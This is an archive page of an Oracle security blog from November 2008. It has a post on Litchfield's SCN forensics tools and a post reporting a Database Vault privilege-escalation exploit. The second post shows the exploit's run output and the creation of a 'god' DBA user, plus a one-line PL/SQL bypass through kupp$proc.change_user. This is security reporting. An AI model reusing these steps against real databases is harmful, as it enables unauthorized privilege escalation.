Sie befinden sich aktuell in den Archiven des Blogs Alexander Kornbrust Oracle Security Blog für November, 2008.
- 11g (8)
- Allgemein (27)
- checkpwd (4)
- CPUApril2009 (2)
- CPUJan2009 (3)
- CPUJul2009 (2)
- CPUOct2009 (3)
- David Litchfield (7)
- Exploit (20)
- Forensics (4)
- Oracle Security (79)
- passwords (7)
- SAP (1)
- Security (18)
- Sentrigo (5)
- software (8)
- source code audit (5)
- SQL Injection (23)
- Tools (19)
- Trainings (2)
- Tutorial (2)
- 25 Feb 2010: 2 new ways to create error messages
- 24 Feb 2010: How to Prevent a User Granted the ALTER USER Privilege From Changing SYS/SYSTEM password and how to bypass it
- 23 Feb 2010: New Repscan 3.0 is available
- 22 Feb 2010: Really good whitepaper about "Hacking Oracle from the Web"
- 15 Feb 2010: Interesting Article about SQL Injection in Oracle by Mike Smithers
- 5 Feb 2010: Oracle Blackhat video removed from Website
- 4 Feb 2010: Oracle 11g 0day exploit published
- 30 Jan 2010: Selling stolen bank data to the government for 2.5 Million EUR?
- 6 Dez 2009: Dennis Yurichev wrote an article about his FPGA Oracle password cracker
- 29 Nov 2009: IGHASHGPU - Cracking Oracle Passwords with 790 Million Passwords/second
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Archive für November 2008
David Litchfield has published a whitepaper on Oracle forensics
27 Nov 2008 von Alexander Kornbrust.
David Litchfield has posted a new whitepaper “Using the Oracle System Change Number in Forensic Investigations“. He published also 2 tools called oratime and orablock. Oratime is converting a SCN to a timestamp.
C:\oratools>oratime 671406483
21/11/2008 21:48:03
The second tool from the whitepaper “orablock” can extract data from a data block.
C:\cadfile>orablock
Orablock v1.0
(c) David Litchfield
(david@davidlitchfield.com)
-h (show help)
-f data_file (required)
-c column_template
-z block_size (default 8192)
-o object_id
-b block_number
-s seperator (default newline)
-a action
Actions are:
A DUMPALL
D SHOWDELETED
O DUMPNOTVIAOFFSETS
S SHOWDELETEDNOTVIAOFFSETS
C DUMPSCNS
Geschrieben in Forensics, David Litchfield | Drucken | Keine Kommentare »
Oracle Database Vault Privilege Escalation Exploit published
21 Nov 2008 von Alexander Kornbrust.
Few days ago Jakub Wartak has posted an exploit showing how to switch DV off on his blog.Jakub describes that he was surprised that Data Vault does not protect from OS side. That’s something many people are not aware of. Oracle Data Vault is not designed to protect from normal DBAs (with OS access).Here the usage of his exploit:
[oracle@xeno ora_dv_mem_off]$ !gcc [oracle@xeno ora_dv_mem_off]$ ./ora_dv_mem_off SQL*Plus: Release 10.2.0.3.0 - Production on Wed Feb 27 18:56:55 2008 Copyright (c) 1982, 2006, Oracle. All Rights Reserved. SQL> conn / as sysdba User created. SQL> grant dba,dv_admin,dv_owner,connect,resource to god; Grant succeeded. Here is another (easier) way to bypass Data Vault without installing/compiling software. I found this issue a few months ago (in Oracle 11.1.0.6). After contacting secalert they told me that this issue was already fixed in Oracle CPU July 2008 (but not documented): – run as user with DBA privleges SQL> exec sys.kupp$proc.change_user(’DVA’); PL/SQL procedure successfully completed.
gcc -Wall ora_dv_mem_off.c -o ora_dv_mem_off -lbfd -liberty
ora_dv_mem_off.c: In function ‘locate_dv_func’:
ora_dv_mem_off.c:92: warning: initialization discards qualifiers from pointer
target type
ora_dv_mem_off.c:93: warning: initialization makes pointer from integer
without a cast
[17035] starting to trace sqlplus process (17036)
[***] NOW TYPE IN SQLPLUS: conn / as sysdba
[17035] execve() syscall in 17036
[17035] clone() syscall in 17036, tracing orapid=17037
[17035] execve() syscall in 17037,
[17035] symbol “kzvtins” at 0xb185820
[***] sucessfuly validated function, DatabaseVault=1
[***] attempting to rewrite memory at 0xb185824
Connected.
SQL> create user god identified by abc;
Geschrieben in Oracle Security | Drucken | Keine Kommentare »
